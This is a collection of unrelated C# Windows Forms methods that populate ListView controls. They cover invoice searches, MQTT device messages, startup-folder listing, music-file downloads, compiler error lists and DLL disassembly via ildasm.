/// <summary> /// 模块编辑 /// </summary> /// <param name="EditItem"></param> private void Bind_DataEdit(object EditItem) { string Name = (string)EditItem; ModelPublishModuleItem model = GetModelXml(Name); this.txtOldModuleName.Text = model.PublishModuleName; this.txtPublishModuleName.Text = model.PublishModuleName; this.ddlPageEncode.SelectedItem = model.PageEncode; this.txtModuleReadMe.Text = model.ModuleReadMe; this.txtLoginUrl.Text = model.LoginUrl; this.txtLoginChkUrl.Text = model.LoginChkrl; this.txtLoginRefUrl.Text = model.LoginRefUrl; this.txtLoginVerCodeUrl.Text = model.LoginVerCodeUrl; this.txtLoginPostData.Text = model.LoginPostData; this.txtLoginErrorResult.Text = model.LoginErrorResult; this.txtLoginSuccessResult.Text = model.LoginSuccessResult; this.txtListUrl.Text = model.ListUrl; this.txtListRefUrl.Text = model.ListRefUrl; this.txtListStartCut.Text = model.ListStartCut; this.txtListEndCut.Text = model.ListEndCut; this.txtListClassIDNameRegex.Text = model.ListClassIDNameRegex; this.txtListCreateUrl.Text = model.ListCreateUrl; this.txtListCreateRefUrl.Text = model.ListCreateRefUrl; this.txtListCreatePostData.Text = model.ListCreatePostData; this.txtListCreateSuccess.Text = model.ListCreateSuccess; this.txtListCreateError.Text = model.ListCreateError; this.txtContentUrl.Text = model.ContentUrl; this.txtContentRefUrl.Text = model.ContentRefUrl; this.txtContentPostData.Text = model.ContentPostData; this.txtContentErrorResult.Text = model.ContentErrorResult; this.txtContentSuccessResult.Text = model.ContentSuccessResult; this.txtUploadUrl.Text = model.UploadUrl; this.txtUploadRefUrl.Text = model.UploadRefUrl; this.txtUploadPostData.Text = model.UploadPostData; foreach (ListViewItem item in this.listView_Random.Items) { this.listView_Random.Items.Remove(item); } foreach (ModelRandom item in model.ListRandomModel) { ListViewItem li = new ListViewItem(item.LabelName); li.SubItems.Add(item.RandomUrl); li.SubItems.Add(item.RandomRefUrl); li.SubItems.Add(item.RandomPostData); li.SubItems.Add(item.RandomCutRegex); li.SubItems.Add(item.RandomLabelType); this.listView_Random.Items.Add(li); } foreach (ListViewItem item in this.listView_CreateHtml.Items) { this.listView_CreateHtml.Items.Remove(item); } foreach (ModelCreateHtml item in model.ListCreateHtmlModel) { ListViewItem li = new ListViewItem(item.CreateName); li.SubItems.Add(item.CreateHtmlUrl); li.SubItems.Add(item.CreateHtmlRefUrl); li.SubItems.Add(item.CreateHtmlPostData); this.listView_CreateHtml.Items.Add(li); } }
private void EntradaVendedorClienteTipoPVNumero_TextChanged(System.Object sender, System.EventArgs e) { qGen.Select SelFac = new qGen.Select("comprob"); SelFac.WhereClause = new qGen.Where(); if (EntradaVendedor.ValueInt > 0) { SelFac.WhereClause.AddWithValue("id_vendedor", EntradaVendedor.ValueInt); } if (EntradaCliente.ValueInt > 0) { SelFac.WhereClause.AddWithValue("id_cliente", EntradaCliente.ValueInt); } if (this.AceptarCanceladas == false) { SelFac.WhereClause.AddWithValue("cancelado", qGen.ComparisonOperators.LessThan, new qGen.SqlExpression("total")); } if (this.DeCompra) { SelFac.WhereClause.AddWithValue("compra", qGen.ComparisonOperators.NotEqual, 0); } else { SelFac.WhereClause.AddWithValue("compra", 0); if (this.AceptarNoImpresas == false) { SelFac.WhereClause.AddWithValue("impresa", qGen.ComparisonOperators.NotEqual, 0); } } if (this.AceptarAnuladas == false) { SelFac.WhereClause.AddWithValue("anulada", 0); } switch (EntradaTipo.TextKey) { case "A": case "B": case "C": case "E": case "M": SelFac.WhereClause.AddWithValue("tipo_fac", qGen.ComparisonOperators.In, new string[] { "F" + EntradaTipo.TextKey, "NC" + EntradaTipo.TextKey, "ND" + EntradaTipo.TextKey }); break; case "*": SelFac.WhereClause.AddWithValue("tipo_fac", qGen.ComparisonOperators.In, new string[] { "FA", "FB", "FC", "FM", "FE", "NCA", "NCB", "NCC", "NCM", "NCE", "NDA", "NDB", "NDC", "NDM", "NDE" }); break; case "PS": SelFac.WhereClause.AddWithValue("tipo_fac", "PS"); break; case "R": SelFac.WhereClause.AddWithValue("tipo_fac", "R"); break; } if (EntradaPv.ValueInt > 0) { SelFac.WhereClause.AddWithValue("pv", EntradaPv.ValueInt); } if (EntradaNumero.ValueInt > 0) { SelFac.WhereClause.AddWithValue("numero", EntradaNumero.ValueInt); } SelFac.Order = "fecha DESC"; DataTable Facturas = this.Connection.Select(SelFac); Listado.BeginUpdate(); Listado.Items.Clear(); foreach (System.Data.DataRow RowFactura in Facturas.Rows) { ListViewItem Itm = Listado.Items.Add(System.Convert.ToString(RowFactura["id_comprob"])); Itm.Tag = RowFactura; Itm.SubItems.Add(new ListViewItem.ListViewSubItem(Itm, Lfx.Types.Formatting.FormatDate(RowFactura["fecha"]))); Itm.SubItems.Add(new ListViewItem.ListViewSubItem(Itm, System.Convert.ToString(RowFactura["tipo_fac"]))); Itm.SubItems.Add(new ListViewItem.ListViewSubItem(Itm, System.Convert.ToInt32(RowFactura["pv"]).ToString("0000") + "-" + System.Convert.ToInt32(RowFactura["numero"]).ToString("00000000"))); Itm.SubItems.Add(new ListViewItem.ListViewSubItem(Itm, this.Connection.FieldString("SELECT nombre_visible FROM personas WHERE id_persona=" + RowFactura["id_cliente"].ToString()))); Itm.SubItems.Add(new ListViewItem.ListViewSubItem(Itm, Lfx.Types.Formatting.FormatCurrency(System.Convert.ToDecimal(RowFactura["total"]), Lfx.Workspace.Master.CurrentConfig.Moneda.Decimales))); if (System.Convert.ToDouble(RowFactura["cancelado"]) >= System.Convert.ToDouble(RowFactura["total"])) { Itm.SubItems.Add(new ListViewItem.ListViewSubItem(Itm, "Sí")); } else { Itm.SubItems.Add(new ListViewItem.ListViewSubItem(Itm, Lfx.Types.Formatting.FormatCurrency(System.Convert.ToDecimal(RowFactura["cancelado"]), Lfx.Workspace.Master.CurrentConfig.Moneda.Decimales))); } } if (Listado.Items.Count > 0) { Listado.Items[0].Selected = true; Listado.Items[0].Focused = true; } Listado.EndUpdate(); }
private void Mqtt_MqttMsgPublishReceived(object sender, MqttMsgPublishEventArgs e) { //接收数据 string topic = e.Topic; string message = System.Text.UTF8Encoding.UTF8.GetString(e.Message); //合法的主题包含3段,第一段为组织代码,第二段为设备编号,第三段为主题类型 string[] topics = topic.Split('/'); if (topics.Length < 3) { return; } try { string deviceNo = topics[1]; switch (topics[2].ToLower()) { case "DevicePub": //处理设备上报数据 case "devicepub": //处理设备上报数据 Dictionary <string, object> dic = AnalyData(message); #region 处理设备上报数据 if (!dic.ContainsKey("action")) //数据包格式不正确 { return; } iReceive++; //判断是否是设备上报数据 if (dic["action"].ToString().ToLower() == "timing_upload") //设备正常上报数据 { //判断设备上传的数据是否有遗言 int will = dic.ContainsKey("will") == false ? 0 : int.Parse(dic["will"].ToString()); //设备上传的数据是否有遗言 //判断是否有分包数据 int totalpage = dic.ContainsKey("totalpage") == false ? 0 : int.Parse(dic["totalpage"].ToString()); //包的序列号,防止不同的包混到一起 if (totalpage > 0) { int seq = dic.ContainsKey("seq") == false ? 0 : int.Parse(dic["seq"].ToString()); //包的序列号,防止不同的包混到一起 string key = deviceNo + seq.ToString(); //存到缓存的标示 bool isComplete = HandleMessage(dic); if (isComplete) { CacheData cd; //移除缓存 lock (Pagelocker) { dicPage.TryRemove(key, out cd); } statusStrip1.Invoke(new MethodInvoker(() => { tsl.Text = $"清理一条缓存,还有{dicPage.Count}条缓存"; })); message = HandlePackage(cd); //组合消息 } else { return; //包不完整,不处理 } } if (dicOnLine.ContainsKey(deviceNo)) //缓存中包含该设备 { //更新设备在线时间和在线状态 lock (OnlineLocker) { dicOnLine[deviceNo].Dt = DateTime.Now; dicOnLine[deviceNo].IsWill = will == 0 ? false : true; SetStatusTool(); if (dicOnLine[deviceNo].SendTime.AddMinutes(iInterval) < DateTime.Now) //大于固定时间间隔,发送数据并更新发送数据时间 { dicOnLine[deviceNo].SendTime = DateTime.Now; } else { return; } } } else //缓存中不包含该设备则读取 { var device = GetDeviceInfo(deviceNo); if (!device.IsExist) { //设备不存在,把设备的数据打印到info中 // AppLog.Info($"设备为{deviceNo}的设备不存在,本次收到的数据为{message}"); return; } else { dicOnLine.TryAdd(deviceNo, new OnlineData { Dt = DateTime.Now, IsWill = will == 0 ? false : true, DeviceSn = device.DeviceSn, DeviceNo = deviceNo, Token = device.Token, SendTime = DateTime.Now //设备在缓存中不存在需要设置发送时间 }); } //发送设备上线数据 SetOnlineData(); SetStatusTool(); } //处理设备上线 HandleDeviceOnlineData(deviceNo, true, dicOnLine[deviceNo].Token, dicOnLine[deviceNo].DeviceSn, message, topic); #region 旧的处理方式 /* * if (DicNo.ContainsKey(deviceNo))//设备缓存列表中是否存在该设备 * { #region 设备上线功能 * if (dicOnLine.ContainsKey(deviceNo))//缓存中有该设备 * { * lock (OnlineLocker) * { * dicOnLine[deviceNo].Dt = DateTime.Now; * dicOnLine[deviceNo].IsWill = will == 0 ? false : true; * } * } * else //设备上线了 * { * dicOnLine.TryAdd(deviceNo, new OnlineData { Dt = DateTime.Now, IsWill = will == 0 ? false : true }); * * SetOnlineData(); * } * //处理设备上线 * HandleDeviceOnlineData(deviceNo, true, DicDevice[deviceNo].Token, DicDevice[deviceNo].DeviceSn, message, topic); #endregion * if (DicNo[deviceNo].AddMinutes(iInterval) < DateTime.Now)//如果设备上传的数据间隔小于10,该数据不处理 * { * DicNo[deviceNo] = DateTime.Now;//更新时间 * } * else//时间小于10分钟,直接跳过不处理 * { * SetStatusTool(); * return; * //break; * } * } * else//如果该设备不存在列表中,则验证设备是否存在,如果设备存在,则把设备添加到字典中 * { * //检测是否在设备,不存在设备,直接跳过 * if (!DicDevice.ContainsKey(deviceNo)) * { * bool b = GetDeviceNo(deviceNo); * if (!b) //设备不存在 * { * SetStatusTool(); * //break; * return; * } * } * DicNo[deviceNo] = DateTime.Now; #region 设备上线功能 * if (dicOnLine.ContainsKey(deviceNo))//缓存中有该设备 * { * lock (OnlineLocker) * { * dicOnLine[deviceNo].Dt = DateTime.Now; * dicOnLine[deviceNo].IsWill = will == 0 ? false : true; * } * } * else //设备上线了 * { * dicOnLine.TryAdd(deviceNo, new OnlineData { Dt = DateTime.Now, IsWill = will == 0 ? false : true }); * * SetOnlineData(); * } * //处理设备上线 * HandleDeviceOnlineData(deviceNo, true, DicDevice[deviceNo].Token, DicDevice[deviceNo].DeviceSn, message, topic); #endregion * } */ #endregion //iSend++; AddHisData(message, dicOnLine[deviceNo].Token, topic, dicOnLine[deviceNo].DeviceSn, deviceNo); //SetStatusTool(); } else if (dic["action"].ToString().ToLower() == "alarm") //报警数据 { if (!dicOnLine.ContainsKey(deviceNo)) { return; //该设备没录入到系统中 } iAlarm++; SetStatusTool(); string Mess = dic["error"].ToString(); AddWarnData(Mess, deviceNo, dicOnLine[deviceNo].Token, dicOnLine[deviceNo].DeviceSn); } else { iOther++; return; //其它数据不处理 } break; #endregion #region 报警主题暂时开通 /* * case "DeviceAlarm"://处理报警数据 * if (dic.ContainsKey("action") && dic["action"].ToString().ToLower() == "devicealarm") * { * if (!DicNo.ContainsKey(deviceNo))//设备编号不在缓存中,则不处理该报警数据 * { * return; * } * iAlarm++; * string Mess = dic["error"].ToString(); * //保存报警数据 * // AddWarnData(Message) * } * else * { * return; * } * break; */ #endregion case "offline": //设备离线 if (dicOnLine.ContainsKey(deviceNo)) { OnlineData data; lock (OnlineLocker) { //设备下线 dicOnLine.TryRemove(deviceNo, out data); HandleDeviceOnlineData(deviceNo, false, data.Token, data.DeviceSn); SetOnlineData(); } } break; default: //其它数据不处理 break; } //把接收的数据显示在列表中 lvMessage.Invoke(new /*MethodInvoker*/ Action(() => { lvMessage.BeginUpdate(); if (lvMessage.Items.Count > 100) { lvMessage.Items.RemoveAt(lvMessage.Items.Count - 1); } ListViewItem lv = new ListViewItem(); lv.Text = e.Topic; lv.SubItems.Add(message); lv.SubItems.Add(DateTime.Now.ToLongTimeString()); //一定记得行数据创建完毕后添加到列表中 //lvContent.Items.Add(lv); lvMessage.Items.Insert(0, lv); lvMessage.EndUpdate(); //tsPublabel.Text = "接收到:" + iReceive + "条数据,发送:" + iSend + "条数据"; })); } catch (Exception ex) { AppLog.Error($"数据解析错误:->{ ex.Message}: 错误主题为:{topic}:错误消息为=>{message}"); } }
internal void GetMSConfigNoneXPFolders(string Path, string EntryType, string StatusMsg) { try { GlobalReg = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion", true); switch (Path) { case "All Users": // This is usually "C:\WINDOWS\ALL USERS\START MENU\PROGRAMS\ Path = GlobalReg.GetValue("SystemRoot", @"C:\Windows").ToString() + @"\All Users\Start Menu\Programs\Disabled Startup Items"; // All Users NONE XP GlobalReg.Close(); break; case "Current User": // This is usually "C:\WINDOWS\START MENU\PROGRAMS\ Path = Environment.GetFolderPath(Environment.SpecialFolder.Programs) + @"\Disabled Startup Items"; // this is a Current User in a NONE XP SYSTEMS break; } GlobalDir = new DirectoryInfo(Path); if (GlobalDir.Exists) { foreach (FileInfo SingleFile in GlobalDir.GetFiles("*.*")) { GlobalString = SingleFile.FullName; GlobalEntry = new ListViewItem(); GlobalEntry.ImageIndex = GlobalImageCounter; GlobalImageLarg.Images.Add(Icon.FromHandle(GlobalGet.AHandle(GlobalString))); GlobalImageSmall.Images.Add(GlobalImageLarg.Images[GlobalImageCounter]); GlobalEntry.Text = SingleFile.Name; GlobalEntry.SubItems.Add(GlobalString); GlobalEntry.SubItems.Add("Startup Folder"); GlobalEntry.SubItems.Add(EntryType); GlobalEntry.SubItems.Add(StatusMsg); GlobalEntry.SubItems.Add(GlobalString); // Full Key Path GlobalView.Items.Add(GlobalEntry); GlobalImageCounter++; } } } catch (InvalidOperationException MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( MyEx.Message +"\n" + MyEx.Source ); } catch (System.Security.SecurityException MyExp) { MessageBox.Show ("An error returned while trying to access \n" + "Error is " + MyExp.Message + "\n" + "Startup Editor requires an administrartor privileges to run properly", "Access is denied"); return; } catch (ArgumentNullException MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( MyEx.Message +"\n" + MyEx.Source ); } catch (NullReferenceException MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( MyEx.Message +"\n" + MyEx.Source ); } catch (Exception MyEx) { MyEx.Message.Trim(); //MessageBox.Show ( MyEx.Message +"\n" + MyEx.Source ); } }
private void FillOrderLinesListView(ListViewPanelItem lvpi, Gizmox.WebGUI.Forms.ListView lvSub, string orderID) { var dtOrderLines = _northWind.Order_Details; lvpi.Panel.Height = 0; int cnt = 0; lvSub.Items.Clear(); foreach (DataRow row in dtOrderLines.Rows) { if (row["OrderID"].ToString() == orderID) { var lvi = new ListViewItem(); lvi.SubItems.Add(row["Quantity"].ToString()); lvi.SubItems.Add(GetProductDescrption(row["ProductID"].ToString())); lvi.SubItems.Add("$ " + row["UnitPrice"]); lvSub.Items.Add(lvi); cnt += 1; } } lvpi.Panel.Height = cnt*18; ((RowTag) lvpi.ListView.Items[0].Tag).Container.Panel.Height = ((lvpi.ListView.Items.Count)*19) + lvpi.Panel.Height; }
private void addBtn_Click(object sender, EventArgs e) { if (pathText.Text == "") { MessageBox.Show("유효한 경로가 입력되지 않았습니다.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } // send request ListViewItem checkedItem = serverList.FocusedItem; this.requestNo = serverList.Items.IndexOf(checkedItem).ToString(); int i = 0; while (true) { if(playList.Items.Count == 0) { break; } string title = playList.Items[i].SubItems[0].Text; if (checkedItem.SubItems[0].Text.CompareTo(title) == 0) { MessageBox.Show("이미 등록되었습니다.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; }else if(i+1 == playList.Items.Count) { break; } i++; } m_requestMusic = new RequestMusic(); m_requestMusic.requestNo = requestNo; Packets.Serialize(m_requestMusic).CopyTo(sendBuffer, 0); this.Send(); // send request end progressBar.Value = 0; // recieve file name try { int nRead = 0; nRead = this.m_NetStream.Read(this.readBuffer, 0, 1024 * 4); } catch { //this.m_NetStream = null; } object obj = Packets.Deserialize(this.readBuffer); this.m_fileName = (FileName)obj; string filename = m_fileName.fileName; int size = m_fileName.Length; // recieve file name end // recieve file byte[] b = new byte[1024 * 4]; int totalLength = 0; string songname = pathText.Text + "\\\\" + filename; fs = new FileStream(songname, FileMode.Create, FileAccess.Write); BinaryWriter bw = new BinaryWriter(fs); while (totalLength < size) { int nRead = 0; try { nRead = 0; nRead = this.m_NetStream.Read(this.readBuffer, 0, 1024 * 4); } catch { //this.m_NetStream = null; } int recieveLength = nRead; bw.Write(this.readBuffer, 0, recieveLength); totalLength += recieveLength; progressBar.PerformStep(); } bw.Close(); fs.Close(); // recieve file end // add music list this.playList.Items.Add((ListViewItem)checkedItem.Clone()); // add music list end // delete server list // this.serverList.Items.Remove(checkedItem); // delete server list end // append playerlist currentPlay = wmp.newMedia(@"" + pathText.Text + "\\" + filename); playerList.appendItem(currentPlay); // append playerlist end }
public static void BuildList(string darkBasic, CheckedListBox ca, CheckedListBox cb, ListView lv, ArrayList al) { Cursor.Current = Cursors.WaitCursor; int s; string[] items; lv.BeginUpdate(); lv.Items.Clear(); StringBuilder sb = new StringBuilder(255); foreach (object ob in ca.Items) { string str = darkBasic + "plugins\\" + ob.ToString(); uint hinst = Build.LoadLibrary(str); s = 1; int bad = 0; while (bad < 5) { if (Build.LoadString(hinst, s, sb, 255) > 0) { ListViewItem lvi = new ListViewItem(); items = sb.ToString().Split("%".ToCharArray(), 2); lvi.Text = items[0]; lvi.SubItems.Add(ob.ToString()); lv.Items.Add(lvi); //add item to arraylist Search se = new Search(lvi.Text, lvi.SubItems[1].Text); al.Add(se); } else { bad ++; } s ++; } Build.FreeLibrary(hinst); } foreach (object ob in cb.Items) { string str = darkBasic + "plugins-user\\" + ob.ToString(); uint hinst = Build.LoadLibrary(str); s = 1; int bad = 0; while (bad < 5) { if (Build.LoadString(hinst, s, sb, 255) > 0) { ListViewItem lvi = new ListViewItem(); items = sb.ToString().Split("%".ToCharArray(), 2); lvi.Text = items[0]; lvi.SubItems.Add(ob.ToString()); lv.Items.Add(lvi); //add item to arraylist Search se = new Search(lvi.Text, lvi.SubItems[1].Text); al.Add(se); } else { bad ++; } s ++; } Build.FreeLibrary(hinst); } lv.EndUpdate(); Cursor.Current = Cursors.Default; }
public ListarLocacaoVisual() { //Visual Listagem das locaçoes this.Text = "Listagem de Locacoes"; //Inserindo titulo da página this.BackColor = Color.White; this.AutoScroll = false; this.HorizontalScroll.Enabled = false; this.HorizontalScroll.Visible = false; this.HorizontalScroll.Maximum = 0; this.AutoScroll = true; listagemLocacoes = new LibsListView(new Point(20, 15), new Size(500, 350)); listagemLocacoes.Size = new Size(250, 380); listagemLocacoes.Columns.Add("ID", -2, HorizontalAlignment.Left); //listagemLocacoes.Columns.Add("Nome", -2, HorizontalAlignment.Left); listagemLocacoes.Columns.Add("Data da locação", -2, HorizontalAlignment.Left); listagemLocacoes.FullRowSelect = true; listagemLocacoes.GridLines = true; listagemLocacoes.AllowColumnReorder = true; listagemLocacoes.Sorting = SortOrder.Ascending; IEnumerable <Model.Locacao> Locacoes = Controller.Locacao.ListarLocacoes(); foreach (Model.Locacao locacao in Locacoes) { ListViewItem item = new ListViewItem(Convert.ToString(locacao.Id)); item.SubItems.Add(Convert.ToString(locacao.ClienteId)); //item.SubItems.Add(Convert.ToString(locacao.Cliente)); item.SubItems.Add(String.Format("{0:d}", locacao.DataLocacao)); listagemLocacoes.Items.Add(item); } btnConfirmar = new LibsButtons("Confirmar", new Point(18, 550), new Size(200, 30)); btnConfirmar.Click += new EventHandler(this.btnConfirmarClick); //Criando botões btnCancelar = new LibsButtons("Cancelar", new Point(230, 550), new Size(200, 30)); btnCancelar.Click += new EventHandler(this.btnCancelarClick); pictureBox = new PictureBox(); pictureBox.Size = new Size(600, 600); pictureBox.Location = new Point(0, 0); pictureBox.Load("Images\\Logo_rent_vehicles.png"); pictureBox.SizeMode = PictureBoxSizeMode.Normal; this.Size = new Size(600, 450); this.Controls.Add(listagemLocacoes); this.Controls.Add(btnConfirmar); this.Controls.Add(btnCancelar); this.Controls.Add(pictureBox); }
public void SelectProjectLanguage_Load(object sender, System.EventArgs e) { // Add all EPLAN languages AddLanguages(); // Choose which language-type liviLanguages.SuspendLayout(); string ActionReturnParameterValue = string.Empty; switch (this.Tag.ToString()) { case "Project": oCLI.Execute("GetProjectLanguages", acc); break; case "Display": oCLI.Execute("GetDisplayLanguages", acc); break; default: this.Tag = "FALSE"; this.Close(); return; } acc.GetParameter("LANGUAGELIST", ref ActionReturnParameterValue); // Add Languages string[] ProjectLanguages = ActionReturnParameterValue.Split(';'); foreach (string language in ProjectLanguages) { foreach (string allLanguages in aryLanguages) { string[] liviValues = allLanguages.Split(';'); if (liviValues[0].Equals(language)) { ListViewItem livi = new ListViewItem(); livi.Text = liviValues[0]; livi.SubItems.Add(liviValues[1]); liviLanguages.Items.Add(livi); break; } } } liviLanguages.Select(); liviLanguages.Items[0].Selected = true; liviLanguages.ResumeLayout(); }
/// <summary> /// Opens the file and goes to the match /// </summary> private void EntriesViewDoubleClick(Object sender, System.EventArgs e) { if (this.entriesView.SelectedItems.Count < 1) { return; } ListViewItem item = this.entriesView.SelectedItems[0]; if (item == null) { return; } String file = item.SubItems[4].Text + "\\" + item.SubItems[3].Text; file = file.Replace(Path.AltDirectorySeparatorChar, Path.DirectorySeparatorChar); file = PathHelper.GetLongPathName(file); if (File.Exists(file)) { PluginBase.MainForm.OpenEditableDocument(file, false); ScintillaControl sci = PluginBase.MainForm.CurrentDocument.SciControl; if (!PluginBase.MainForm.CurrentDocument.IsEditable) { return; } Int32 line = Convert.ToInt32(item.SubItems[1].Text) - 1; String description = item.SubItems[2].Text; Match mcaret = this.errorCharacters.Match(description); Match mcaret2 = this.errorCharacter.Match(description); Match mcaret3 = this.errorCharacters2.Match(description); Match mcaret4 = this.lookupRange.Match(description); if (mcaret.Success) { Int32 start = Convert.ToInt32(mcaret.Groups["start"].Value); Int32 end = Convert.ToInt32(mcaret.Groups["end"].Value); // An error (!=0) with this pattern is most likely a MTASC error (not multibyte) if (item.ImageIndex == 0) { // start & end columns are multibyte lengths start = this.MBSafeColumn(sci, line, start); end = this.MBSafeColumn(sci, line, end); } Int32 startPosition = sci.PositionFromLine(line) + start; Int32 endPosition = sci.PositionFromLine(line) + end; this.SetSelAndFocus(sci, line, startPosition, endPosition); } else if (mcaret2.Success) { Int32 start = Convert.ToInt32(mcaret2.Groups["start"].Value); // column is a multibyte length start = this.MBSafeColumn(sci, line, start); Int32 position = sci.PositionFromLine(line) + start; this.SetSelAndFocus(sci, line, position, position); } else if (mcaret3.Success) { Int32 start = Convert.ToInt32(mcaret3.Groups["start"].Value); // column is a multibyte length start = this.MBSafeColumn(sci, line, start); Int32 position = sci.PositionFromLine(line) + start; this.SetSelAndFocus(sci, line, position, position); } else if (mcaret4.Success) { // expected: both multibyte lengths Int32 start = Convert.ToInt32(mcaret4.Groups["start"].Value); Int32 end = Convert.ToInt32(mcaret4.Groups["end"].Value); this.MBSafeSetSelAndFocus(sci, line, start, end); } else { Int32 position = sci.PositionFromLine(line); this.SetSelAndFocus(sci, line, position, position); } } }
private void AddToList(ListViewItem ListItem) { if (this.lvSessions.InvokeRequired) { AddToListCB d = new AddToListCB(AddToList); this.lvSessions.Invoke(d, new object[] { ListItem }); } else { this.lvSessions.Items.Add(ListItem); } }
/// <summary> /// Adds the log entries to the list view /// </summary> public void AddLogEntries() { Int32 count = TraceManager.TraceLog.Count; if (count <= this.logCount) { this.logCount = count; return; } Int32 newResult = -1; TraceItem entry; Match match; String description; String fileTest; Boolean inExec; Int32 icon; Int32 state; IProject project = PluginBase.CurrentProject; String projectDir = project != null?Path.GetDirectoryName(project.ProjectPath) : ""; Boolean limitMode = (count - this.logCount) > 1000; this.entriesView.BeginUpdate(); for (Int32 i = this.logCount; i < (limitMode ? 1000 : count); i++) { entry = TraceManager.TraceLog[i]; if (entry.Message != null && entry.Message.Length > 7 && entry.Message.IndexOf(':') > 0) { fileTest = entry.Message.TrimStart(); inExec = false; if (fileTest.StartsWithOrdinal("[mxmlc]") || fileTest.StartsWithOrdinal("[compc]") || fileTest.StartsWithOrdinal("[exec]") || fileTest.StartsWithOrdinal("[haxe") || fileTest.StartsWithOrdinal("[java]")) { inExec = true; fileTest = fileTest.Substring(fileTest.IndexOf(']') + 1).TrimStart(); } // relative to project root (Haxe) if (fileTest.StartsWithOrdinal("~/")) { fileTest = fileTest.Substring(2); } match = fileEntry.Match(fileTest); if (!match.Success) { match = fileEntry2.Match(fileTest); } if (match.Success && !this.ignoredEntries.ContainsKey(match.Value)) { string filename = match.Groups["filename"].Value; if (filename.Length < 3 || badCharacters.IsMatch(filename)) { continue; } if (project != null && filename[0] != '/' && filename[1] != ':') // relative to project root { filename = PathHelper.ResolvePath(filename, projectDir); if (filename == null) { continue; } } else if (!File.Exists(filename)) { continue; } FileInfo fileInfo = new FileInfo(filename); if (fileInfo != null) { description = match.Groups["description"].Value.Trim(); state = (inExec) ? -3 : entry.State; // automatic state from message // ie. "2:message" -> state = 2 if (state == 1 && description.Length > 2) { if (description[1] == ':' && Char.IsDigit(description[0])) { if (int.TryParse(description[0].ToString(), out state)) { description = description.Substring(2); } } } if (state > 2) { icon = 1; } else if (state == 2) { icon = 2; } else if (state == -3) { icon = (description.IndexOfOrdinal("Warning") >= 0) ? 2 : 1; } else if (description.StartsWith("error", StringComparison.OrdinalIgnoreCase)) { icon = 1; } else { icon = 0; } ListViewItem item = new ListViewItem("", icon); item.Tag = match; // Save for later... String matchLine = match.Groups["line"].Value; if (matchLine.IndexOf(',') > 0) { Match split = Regex.Match(matchLine, "([0-9]+),\\s*([0-9]+)"); if (!split.Success) { continue; // invalid line } matchLine = split.Groups[1].Value; description = "col: " + split.Groups[2].Value + " " + description; } item.SubItems.Add(matchLine); item.SubItems.Add(description); item.SubItems.Add(fileInfo.Name); item.SubItems.Add(fileInfo.Directory.ToString()); if (newResult < 0) { newResult = this.entriesView.Items.Count; } if (icon == 0) { this.messageCount++; } else if (icon == 1) { this.errorCount++; } else if (icon == 2) { this.warningCount++; } allListViewItems.Add(item); } } } } this.logCount = count; if (newResult >= 0) { this.UpdateButtons(); this.FilterResults(true); for (Int32 i = newResult; i < this.entriesView.Items.Count; i++) { this.AddSquiggle(this.entriesView.Items[i]); } } this.entriesView.EndUpdate(); }
public static void Load(string filename, main win) { //show busy cursor Cursor.Current = Cursors.WaitCursor; //delete any old .il and .res files if (File.Exists(Application.StartupPath + "\\_dll.il")) File.Delete(Application.StartupPath + "\\_dll.il"); if (File.Exists(Application.StartupPath + "\\_dll.res")) File.Delete(Application.StartupPath + "\\_dll.res"); //use ildasm to decompile dll to il code Process process = new Process(); process.StartInfo.FileName = "\"" + win.ildasm +"\""; process.StartInfo.Arguments = " /OUT:\"" + win.TEMP + "\\_dll.il\" \"" + filename + "\""; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.StartInfo.CreateNoWindow = true; process.Start(); process.WaitForExit(); //MessageBox.Show(process.StandardOutput.ReadToEnd()); //check it worked if (! File.Exists(win.TEMP + "\\_dll.il")) { MessageBox.Show("ildasm failed!","Error!", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } //enable build button win.build.Enabled = true; win.dllName = filename; //load .il into listbox win.lb.BeginUpdate(); win.lb.Items.Clear(); win.methodBox.BeginUpdate(); win.methodBox.Items.Clear(); win.exportBox.Items.Clear(); win.stringBox.Items.Clear(); FileStream fs = null; StreamReader sr = null; try { fs = new FileStream(win.TEMP + "\\_dll.il", FileMode.Open); sr = new StreamReader(fs); string temp = ""; while ((temp = sr.ReadLine()) != null) { win.lb.Items.Add(temp.Trim()); } } catch (Exception ex) { MessageBox.Show(ex.ToString(), "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); } finally { sr.Close(); fs.Close(); } //remove comments and blank lines from listview, this makes it easier to parse later //join lines that end in "," //change .corflags 0x00000001 to .corflags 0x00000002 int i; string str = ""; bool corflags = false; for (i = 0; i < win.lb.Items.Count; i++) { str = win.lb.Items[i].ToString(); //strip spaces if (corflags == false) { if (str == ".corflags 0x00000001") { win.lb.Items[i] = ".corflags 0x00000002"; corflags = true; } } if (str.Length == 0) { win.lb.Items.RemoveAt(i); i--; } if (i >= 0) { if (str.StartsWith("//")) { win.lb.Items.RemoveAt(i); i --; } } //if previous line ended with "," stick this line on end if (i > 0) { if (win.lb.Items[i-1].ToString().EndsWith(",")) { win.lb.Items[i-1] = win.lb.Items[i-1].ToString() + str; win.lb.Items.RemoveAt(i); i --; } } } // find methods for (i = 0; i < win.lb.Items.Count; i++) { str = win.lb.Items[i].ToString(); if (str.StartsWith(".method")) { //if next line doesn't start with "{" stick it on the line with .method if (! win.lb.Items[i+1].ToString().StartsWith("{")) { win.lb.Items[i] = win.lb.Items[i].ToString() + " " + win.lb.Items[i+1].ToString(); win.lb.Items.RemoveAt(i+1); //add method to methodBox str = win.lb.Items[i].ToString(); } //don't add constructors or pivoke methods if (str.IndexOf(".ctor()") == -1 && str.IndexOf("pinvokeimpl") == -1) { //get method name int end = str.IndexOf("("); if (end > -1) { int start = str.LastIndexOf(" ",end, end-1) + 1; ListViewItem lvi = new ListViewItem(str.Substring(start,end-start)); lvi.SubItems.Add(str); win.methodBox.Items.Add(lvi); } } } } win.methodBox.EndUpdate(); win.lb.EndUpdate(); //show normal cursor Cursor.Current = Cursors.Default; }
